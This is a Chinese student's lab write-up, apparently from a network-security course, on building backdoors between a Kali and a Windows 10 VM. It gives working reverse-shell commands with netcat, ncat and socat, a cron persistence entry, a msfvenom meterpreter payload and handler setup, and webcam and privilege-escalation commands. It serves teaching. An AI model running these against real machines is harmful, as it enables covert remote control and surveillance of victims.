zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    一、实践目标

    • 使用netcat获取主机操作Shell,cron启动
    • 使用socat获取主机操作Shell, 任务计划启动
    • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    二、基础知识

    • Kali地址:192.168.153.134

    • Win10地址:169.254.0.178

    • 保证能ping通:

    • 关闭防火墙和杀毒软件


    三、Exp2.1 使用ncat,本机(Windows)获得虚拟机(Linux)操作shell

    实验步骤:

    • win10中使用ncat监听5237端口
    ncat.exe -l -p 5237
    
    • 在Linux输入指令
    nc 192.168.153.134 -e /bin/sh 
    

    反弹连接Windows主机的 5237 端口

    • 攻击成功:Win10成功获得Kali操作shell,能够进行操作

    • 相同道理:在Linux中监听5237端口

    • 在Windows输入指令

    ncat.exe  -e cmd.exe 192.168.153.134 5237
    

    反弹连接Linux的5237端口

    • 攻击成功:

    四、Exp2.2使用netcat获取主机操作Shell,cron启动

    实验原理

    • cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

    实验步骤

    • 用 crontab -e 指令编辑定时任务,选择3

    • vim编辑器中用 i 改为插入模式,在最后一行插入 50 19 23 3 * /bin/netcat 192.168.153.134 5237 -e /bin/sh 后输入 :wq! 保存并退出

    • 成功显示ls:


    五、Exp2.3使用socat获取主机操作Shell, 任务计划启动

    实验步骤

    • win中打开控制面板,选中管理工具->任务计划程序

    • 创建新任务,填写任务名称,新建一个触发器。

    • 同时创建新操作,在操作->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:5237 exec:cmd.exe,pty,stderr

    • 按快捷键win+L即能锁定计算机,创建的任务开始运行。

    • 此时在Linux中输入指令 socat - tcp:192.168.153.134 5237 ,发现成功获得了cmd shell,能够输入Windows的命令(这里因为当时保存截图的时候覆盖了,后来写博客才发现少了这张截图。。不过真的成功了!)


    六、Exp2.4使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    实验步骤

    • Linux中输入指令生成后门程序
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.134 LPORT=5237 -f exe > 20165237.exe
    

    • 在Linux中输入指令msfconsole,进入msf命令行,msf启动监听前需要进行一些设置
    use exploit/multi/handler    /*进入handler模式*/
    
    set payload windows/meterpreter/reverse_tcp  /*对应生成的后门程序设置payload*/
    
    show options  /*查看当前信息状态*/
    
    set LHOST 192.168.153.134  /*设置LHOST,其中ip为Linux的ip*/
    
    set LPORT 5237 /*设置LPORT*/
    
    exploit /*启动监听*/
    

    • 启动监听后再在win中运行后门程序,此时Linux上已经获得了Windows主机的连接,并且得到了远程控制的shell,能够输入Windows中的命令。

    七、Exp2.5使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    实验步骤

    • 获取摄像头和录像:
    webcam_snap / webcam_stream
    


    • 获取运行msf会话的用户名,从而查看当前会话具有的权限;提升管理员权限(此时好像已经最高权限了)
    getuid
    
    get system
    
    


    八、实验感想与问题

    • 感想:这次实验,不得不说很让我震惊。这是我第一次实际上get到后门获取信息的知识,很满足。希望以后能够更深入的学到相关理论和知识,不仅学会攻击,也要学会防范。

    • 例举你能想到的一个后门进入到你系统中的可能方式?

    答:

    • 例举你知道的后门如何启动起来(win及linux)的方式?

    答:在下载软件的时候,可能会有捆绑垃圾下载下来,然后修改开机的启动项,当攻击者输入命令时,本机可能会自动响应。

    • Meterpreter有哪些给你映像深刻的功能?

    答:我觉得最深刻的就是录像和音频的获取(这不就是黑客监视么!!)我已经将笔记本的摄像头贴起来了。

    • 如何发现自己有系统有没有被安装后门?

    答:360安全卫士或许是个很好的选择;不过如果真正想要发现后门程序,我觉得要用抓包技术来分析信息。


  • 相关阅读:
    程序自动网站留言,自动登录,自动投票等做法 httpclient 拂晓风起
    CruiseControl 安装 配置 教程 实例 搭建服务器 (CruiseControl + git/svn) 拂晓风起
    编码和字符集的关系 拂晓风起
    PuttyGen生成SSH(key) 带图 TortoiseGit和Github的SSH生成 拂晓风起
    计算时间差,将yyyyMMddHHmmss字符格式转为时间
    C# 操作非标准的xml文件
    SqlServer2000中调度包到作业中,自动执行失败的解决方法
    ReSharper 命名规则
    Js中setInterval、setTimeout不能传递参数问题 及各自的关闭方法
    获取存储过程返回值
  • 原文地址:https://www.cnblogs.com/Miss-moon/p/10585939.html
Copyright © 2011-2022 走看看